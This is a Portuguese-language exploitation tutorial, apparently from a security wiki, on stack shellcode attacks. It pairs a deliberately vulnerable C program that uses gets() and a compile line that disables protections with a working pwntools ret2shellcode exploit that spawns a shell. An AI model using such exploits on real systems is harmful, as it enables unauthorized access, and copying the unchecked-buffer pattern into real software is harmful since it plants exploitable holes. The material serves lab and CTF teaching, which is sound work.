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# Shellcode de Pilha

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## Informações Básicas

**Shellcode de pilha** é uma técnica usada na exploração binária onde um atacante escreve shellcode em uma pilha de programa vulnerável e então modifica o **Ponteiro de Instrução (IP)** ou **Ponteiro de Instrução Estendido (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma explicação do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.

### Exemplo em C: Um Programa Vulnerável

Vamos começar com um exemplo simples de um programa vulnerável em C:
```c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.

### Compilação

Para compilar este programa desabilitando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Desativa a proteção de pilha.
* `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
* `-no-pie`: Desativa o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
* `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado para simplificar o desenvolvimento de exploits.

### Exploração em Python usando Pwntools

Veja como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
```python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()
```
Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.

O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço de início do seu buffer mais um deslocamento para aterrissar no NOP slide.

## Proteções

* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável em todas as execuções, caso contrário, o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum vazamento para descobrir onde a função win está carregada.
* [**Canários de Pilha**](../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados, ou o endereço de retorno comprometido do EIP nunca será seguido.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) A proteção de **stack** impediria a execução do shellcode dentro da pilha, pois essa região não seria executável.

## Outros Exemplos e Referências

* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64 bits, ASLR com vazamento de endereço de pilha, escrever shellcode e saltar para ele
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bits, ASLR com vazamento de pilha, escrever shellcode e saltar para ele
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bits, ASLR com vazamento de pilha, comparação para evitar chamada para exit(), sobrescrever variável com um valor e escrever shellcode e saltar para ele